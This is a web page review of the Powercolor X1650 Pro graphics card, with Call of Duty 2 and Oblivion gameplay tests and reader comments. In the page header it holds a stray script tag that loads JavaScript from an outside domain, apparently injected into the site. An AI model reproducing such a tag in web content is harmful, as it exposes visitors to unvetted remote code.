Powercolor X1650 Pro Review

Game Tests - CoD 2 and Oblivion

Page <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 23/08/2006
Author: Matthew Kemp (kempez)
Hardware Acquired: Powercolor

Call of Duty 2

Call of Duty 2 is a fairly recent game that uses a lot of DirectX 9.0c features, including real time shadows, amazing smoke effects and some nice looking HDR effects. This makes the game very taxing. I played a fully patched up version of the game. Once again I played through the game with a two minute gaming session including explosions, smoke and also lots of snow.

cod 2 settings x1650 pro

And the FPS at the above settings...

cod 2 fps x1650 pro

CoD 2 was again very playable at 1024 x 768. I did use the high quality settings on the card and this made the experience much more crisp and detailed. I don't think there was headroom to play at 1280 x 1024 - but with a little overclocking I'm sure it's attainable. Even at this seemingly (to me) low res CoD 2 looks pretty awesome and the card gives very nice detail.


Oblivion is an awesome RPG with a simply huge immersive environment, great graphics and incredibly realistic scenery. This game is currently one of the most testing games that you can buy and it is certainly a test of the X1650. I chose to do a run-through of the Arena part of the game. I spoke to a character, did some magic whilst in a fight and fought in the arena that is pretty huge. Also as well as doing this test I took a wander around to make sure that the benchmark resembled the general gameplay with each card. ATI seem to come out on top in Oblivion so let's see how the card fares cranked up...

Oblivion settings X1650 pro

And the FPS:

Oblivion FPS x1650 pro

Oblivion has a plethora of in-game settings so here are what I chose to be optimal:

oblivion big settings x1650

I did encounter some issues with Oblivion at first. The game started playing in a very "jerky" manor. It was nigh on impossible to play like this. I re-installed the drivers, re-installed Oblivion and found another patch for it too. This all seemed to cure the problem but it was slightly annoying as I have never had a problem like this before with Oblivion.

In the end the game played through very well. I did have a test run with HDR and AA (ATI cards can do this) and this looked pretty good, but on a lower resolution with lower in-game settings. I felt this was too much of a compromise and so I kept the AA off. HDR is essential for the atmosphere in Oblivion and the X1650 Pro did a very good job of rendering the scene. The FPS took a bit of a hit outside, but this is to be expected and was still very playable.

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Most Recent Comments

24-08-2006, 15:32:15

As usual a good review kemp, it seems they will be in the competition range of the Nvidia 7600.Quote

24-08-2006, 15:34:19

Originally Posted by name='Hyper'
As usual a good review kemp, it seems they will be in the competition range of the Nvidia 7600.
And pretty cheap too Quote

24-08-2006, 15:38:50

Some very impressive in-game results there. Deffo a choice card for the budget caming build.Quote

24-08-2006, 16:04:50

very good review kemp! looks darn good for a mid range card.Quote

24-08-2006, 18:07:45

ATi still lacks in the midrange department. Both my old GTO and our new XFX 7600GT XXX beat that thing in 05 by at least 400 points. Regardless, a great review Kempez .Quote

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